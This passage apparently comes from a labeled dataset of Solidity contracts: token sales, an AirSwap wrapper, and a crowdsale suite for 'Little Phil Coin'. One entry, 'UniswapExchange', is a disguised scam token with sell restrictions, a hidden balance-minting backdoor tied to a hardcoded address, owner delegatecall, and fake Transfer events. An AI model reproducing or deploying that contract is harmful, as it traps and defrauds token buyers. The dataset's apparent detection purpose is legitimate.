prefixedHash = keccak256(prefix, orderHash);
}
function fillAndValidate(OrderData data) internal {
exchange.fill.value(msg.value)(
data.makerAddress,
data.makerAmount,
data.makerToken,
data.takerAddress,
data.takerAmount,
data.takerToken,
data.expiration,
data.nonce,
data.v,
data.r,
data.s
);
bytes32 orderHash;
(orderHash, ) = getOrderHash(data);
if (!exchange.fills(orderHash)) {
errorReporter.revertTx("AirSwap: Order failed validation after execution");
}
}
function getSelector(bytes4 genericSelector) public pure returns (bytes4) {
if (genericSelector == getAmountToGiveSelector) {
return bytes4(keccak256("getAmountToGive((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32))"));
} else if (genericSelector == staticExchangeChecksSelector) {
return bytes4(keccak256("staticExchangeChecks((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32))"));
} else if (genericSelector == performBuyOrderSelector) {
return bytes4(keccak256("performBuyOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32),uint256)"));
} else if (genericSelector == performSellOrderSelector) {
return bytes4(keccak256("performSellOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32),uint256)"));
} else {
return bytes4(0x0);
}
}
function() public payable whenNotPaused {
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
if (size == 0) {
errorReporter.revertTx("EOA cannot send ether to primary fallback");
}
}
} | 0 | 1,223 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract admined {
address public admin;
function admined() internal {
admin = msg.sender;
Admined(admin);
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
function transferAdminship(address _newAdmin) onlyAdmin public {
admin = _newAdmin;
TransferAdminship(admin);
}
event TransferAdminship(address newAdminister);
event Admined(address administer);
}
contract ICO is admined {
using SafeMath for uint256;
enum State {
EarlyBird,
PreSale,
TokenSale,
ITO,
Successful
}
uint256 public priceOfEthOnEUR;
State public state = State.EarlyBird;
uint256 public startTime = now;
uint256 public price;
uint256 public totalRaised;
uint256 public totalDistributed;
uint256 public stageDistributed;
uint256 public completedAt;
token public tokenReward;
address public creator;
string public campaignUrl;
string public version = '1';
event LogFundingReceived(address _addr, uint _amount, uint _currentTotal);
event LogBeneficiaryPaid(address _beneficiaryAddress);
event LogFundingSuccessful(uint _totalRaised);
event LogFunderInitialized(
address _creator,
string _url,
uint256 _initialRate);
event LogContributorsPayout(address _addr, uint _amount);
event PriceUpdate(uint256 _newPrice);
event StageDistributed(State _stage, uint256 _stageDistributed);
modifier notFinished() {
require(state != State.Successful);
_;
}
function ICO (string _campaignUrl, token _addressOfTokenUsedAsReward, uint256 _initialEURPriceOfEth) public {
creator = msg.sender;
campaignUrl = _campaignUrl;
tokenReward = token(_addressOfTokenUsedAsReward);
priceOfEthOnEUR = _initialEURPriceOfEth;
price = SafeMath.div(priceOfEthOnEUR.mul(6666666666666666667),1000000000000000000);
LogFunderInitialized(
creator,
campaignUrl,
price
);
PriceUpdate(price);
}
function updatePriceOfEth(uint256 _newPrice) onlyAdmin public {
priceOfEthOnEUR = _newPrice;
price = SafeMath.div(priceOfEthOnEUR.mul(6666666666666666667),1000000000000000000);
PriceUpdate(price);
}
function contribute() public notFinished payable {
uint256 tokenBought;
totalRaised = totalRaised.add(msg.value);
if (state == State.EarlyBird){
tokenBought = msg.value.mul(price);
tokenBought = tokenBought.mul(4);
require(stageDistributed.add(tokenBought) <= 200000000 * (10 ** 18));
} else if (state == State.PreSale){
tokenBought = msg.value.mul(price);
tokenBought = tokenBought.mul(15);
tokenBought = tokenBought.div(10);
require(stageDistributed.add(tokenBought) <= 500000000 * (10 ** 18));
} else if (state == State.TokenSale){
tokenBought = msg.value.mul(price);
require(stageDistributed.add(tokenBought) <= 500000000 * (10 ** 18));
} else if (state == State.ITO){
tokenBought = msg.value.mul(price);
require(stageDistributed.add(tokenBought) <= 800000000 * (10 ** 18));
}
totalDistributed = totalDistributed.add(tokenBought);
stageDistributed = stageDistributed.add(tokenBought);
tokenReward.transfer(msg.sender, tokenBought);
LogFundingReceived(msg.sender, msg.value, totalRaised);
LogContributorsPayout(msg.sender, tokenBought);
checkIfFundingCompleteOrExpired();
}
function checkIfFundingCompleteOrExpired() public {
if(state!=State.Successful){
if(state == State.EarlyBird && now > startTime.add(38 days)){
StageDistributed(state,stageDistributed);
state = State.PreSale;
stageDistributed = 0;
} else if(state == State.PreSale && now > startTime.add(127 days)){
StageDistributed(state,stageDistributed);
state = State.TokenSale;
stageDistributed = 0;
} else if(state == State.TokenSale && now > startTime.add(219 days)){
StageDistributed(state,stageDistributed);
state = State.ITO;
stageDistributed = 0;
} else if(state == State.ITO && now > startTime.add(372 days)){
StageDistributed(state,stageDistributed);
state = State.Successful;
completedAt = now;
LogFundingSuccessful(totalRaised);
finished();
}
}
}
function payOut() public {
require(msg.sender == creator);
require(creator.send(this.balance));
LogBeneficiaryPaid(creator);
}
function finished() public {
require(state == State.Successful);
uint256 remanent = tokenReward.balanceOf(this);
require(creator.send(this.balance));
tokenReward.transfer(creator,remanent);
LogBeneficiaryPaid(creator);
LogContributorsPayout(creator, remanent);
}
function () public payable {
contribute();
}
} | 1 | 3,154 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,421 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LittlePhilCoin is MintableToken, PausableToken {
string public name = "Little Phil Coin";
string public symbol = "LPC";
uint8 public decimals = 18;
constructor () public {
pause();
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract InitialSupplyCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
uint256 public constant decimals = 18;
address public companyWallet;
address public teamWallet;
address public projectWallet;
address public advisorWallet;
address public bountyWallet;
address public airdropWallet;
TokenTimelock public teamTimeLock1;
TokenTimelock public teamTimeLock2;
uint256 public constant companyTokens = SafeMath.mul(150000000, (10 ** decimals));
uint256 public constant teamTokens = SafeMath.mul(150000000, (10 ** decimals));
uint256 public constant projectTokens = SafeMath.mul(150000000, (10 ** decimals));
uint256 public constant advisorTokens = SafeMath.mul(100000000, (10 ** decimals));
uint256 public constant bountyTokens = SafeMath.mul(30000000, (10 ** decimals));
uint256 public constant airdropTokens = SafeMath.mul(20000000, (10 ** decimals));
bool private isInitialised = false;
constructor(
address[6] _wallets
) public {
address _companyWallet = _wallets[0];
address _teamWallet = _wallets[1];
address _projectWallet = _wallets[2];
address _advisorWallet = _wallets[3];
address _bountyWallet = _wallets[4];
address _airdropWallet = _wallets[5];
require(_companyWallet != address(0));
require(_teamWallet != address(0));
require(_projectWallet != address(0));
require(_advisorWallet != address(0));
require(_bountyWallet != address(0));
require(_airdropWallet != address(0));
companyWallet = _companyWallet;
teamWallet = _teamWallet;
projectWallet = _projectWallet;
advisorWallet = _advisorWallet;
bountyWallet = _bountyWallet;
airdropWallet = _airdropWallet;
teamTimeLock1 = new TokenTimelock(token, teamWallet, uint64(now + 182 days));
teamTimeLock2 = new TokenTimelock(token, teamWallet, uint64(now + 365 days));
}
function setupInitialSupply() internal onlyOwner {
require(isInitialised == false);
uint256 teamTokensSplit = teamTokens.mul(50).div(100);
LittlePhilCoin(token).mint(companyWallet, companyTokens);
LittlePhilCoin(token).mint(projectWallet, projectTokens);
LittlePhilCoin(token).mint(advisorWallet, advisorTokens);
LittlePhilCoin(token).mint(bountyWallet, bountyTokens);
LittlePhilCoin(token).mint(airdropWallet, airdropTokens);
LittlePhilCoin(token).mint(address(teamTimeLock1), teamTokensSplit);
LittlePhilCoin(token).mint(address(teamTimeLock2), teamTokensSplit);
isInitialised = true;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TokenCappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public tokenCap = 0;
uint256 public tokensRaised = 0;
event CapOverflow(address indexed sender, uint256 weiAmount, uint256 receivedTokens, uint256 date);
function capReached() public view returns (bool) {
return tokensRaised >= tokenCap;
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
super._updatePurchasingState(_beneficiary, _weiAmount);
uint256 purchasedTokens = _getTokenAmount(_weiAmount);
tokensRaised = tokensRaised.add(purchasedTokens);
if(capReached()) {
emit CapOverflow(_beneficiary, _weiAmount, purchasedTokens, now);
}
}
}
contract TieredCrowdsale is TokenCappedCrowdsale, Ownable {
using SafeMath for uint256;
enum SaleState {
Initial,
PrivateSale,
FinalisedPrivateSale,
PreSale,
FinalisedPreSale,
PublicSaleTier1,
PublicSaleTier2,
PublicSaleTier3,
PublicSaleTier4,
FinalisedPublicSale,
Closed
}
SaleState public state = SaleState.Initial;
struct TierConfig {
string stateName;
uint256 tierRatePercentage;
uint256 hardCap;
}
mapping(bytes32 => TierConfig) private tierConfigs;
event IncrementTieredState(string stateName);
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
super._preValidatePurchase(_beneficiary, _weiAmount);
require(
state == SaleState.PrivateSale ||
state == SaleState.PreSale ||
state == SaleState.PublicSaleTier1 ||
state == SaleState.PublicSaleTier2 ||
state == SaleState.PublicSaleTier3 ||
state == SaleState.PublicSaleTier4
);
}
constructor() public {
createSalesTierConfigMap();
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentTierRate = getCurrentTierRatePercentage();
uint256 requestedTokenAmount = _weiAmount.mul(rate).mul(currentTierRate).div(100);
uint256 remainingTokens = tokenCap.sub(tokensRaised);
if(requestedTokenAmount > remainingTokens ) {
return remainingTokens;
}
return requestedTokenAmount;
}
function createSalesTierConfigMap() private {
tierConfigs [keccak256(SaleState.Initial)] = TierConfig({
stateName: "Initial",
tierRatePercentage:0,
hardCap: 0
});
tierConfigs [keccak256(SaleState.PrivateSale)] = TierConfig({
stateName: "PrivateSale",
tierRatePercentage:100,
hardCap: SafeMath.mul(400000000, (10 ** 18))
});
tierConfigs [keccak256(SaleState.FinalisedPrivateSale)] = TierConfig({
stateName: "FinalisedPrivateSale",
tierRatePercentage:0,
hardCap: 0
});
tierConfigs [keccak256(SaleState.PreSale)] = TierConfig({
stateName: "PreSale",
tierRatePercentage:140,
hardCap: SafeMath.mul(180000000, (10 ** 18))
});
tierConfigs [keccak256(SaleState.FinalisedPreSale)] = TierConfig({
stateName: "FinalisedPreSale",
tierRatePercentage:0,
hardCap: 0
});
tierConfigs [keccak256(SaleState.PublicSaleTier1)] = TierConfig({
stateName: "PublicSaleTier1",
tierRatePercentage:130,
hardCap: SafeMath.mul(265000000, (10 ** 18))
});
tierConfigs [keccak256(SaleState.PublicSaleTier2)] = TierConfig({
stateName: "PublicSaleTier2",
tierRatePercentage:120,
hardCap: SafeMath.mul(330000000, (10 ** 18))
});
tierConfigs [keccak256(SaleState.PublicSaleTier3)] = TierConfig({
stateName: "PublicSaleTier3",
tierRatePercentage:110,
hardCap: SafeMath.mul(375000000, (10 ** 18))
});
tierConfigs [keccak256(SaleState.PublicSaleTier4)] = TierConfig({
stateName: "PublicSaleTier4",
tierRatePercentage:100,
hardCap: SafeMath.mul(400000000, (10 ** 18))
});
tierConfigs [keccak256(SaleState.FinalisedPublicSale)] = TierConfig({
stateName: "FinalisedPublicSale",
tierRatePercentage:0,
hardCap: 0
});
tierConfigs [keccak256(SaleState.Closed)] = TierConfig({
stateName: "Closed",
tierRatePercentage:0,
hardCap: SafeMath.mul(400000000, (10 ** 18))
});
}
function getCurrentTierRatePercentage() public view returns (uint256) {
return tierConfigs[keccak256(state)].tierRatePercentage;
}
function getCurrentTierHardcap() public view returns (uint256) {
return tierConfigs[keccak256(state)].hardCap;
}
function setState(uint256 _state) onlyOwner public {
state = SaleState(_state);
tokenCap = getCurrentTierHardcap();
if(state == SaleState.Closed) {
crowdsaleClosed();
}
}
function getState() public view returns (string) {
return tierConfigs[keccak256(state)].stateName;
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
super._updatePurchasingState(_beneficiary, _weiAmount);
if(capReached()) {
if(state == SaleState.PrivateSale) {
state = SaleState.FinalisedPrivateSale;
tokenCap = getCurrentTierHardcap();
emit IncrementTieredState(getState());
}
else if(state == SaleState.PreSale) {
state = SaleState.FinalisedPreSale;
tokenCap = getCurrentTierHardcap();
emit IncrementTieredState(getState());
}
else if(state == SaleState.PublicSaleTier1) {
state = SaleState.PublicSaleTier2;
tokenCap = getCurrentTierHardcap();
emit IncrementTieredState(getState());
}
else if(state == SaleState.PublicSaleTier2) {
state = SaleState.PublicSaleTier3;
tokenCap = getCurrentTierHardcap();
emit IncrementTieredState(getState());
}
else if(state == SaleState.PublicSaleTier3) {
state = SaleState.PublicSaleTier4;
tokenCap = getCurrentTierHardcap();
emit IncrementTieredState(getState());
}
else if(state == SaleState.PublicSaleTier4) {
state = SaleState.FinalisedPublicSale;
tokenCap = getCurrentTierHardcap();
emit IncrementTieredState(getState());
}
}
}
function crowdsaleClosed () internal {
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
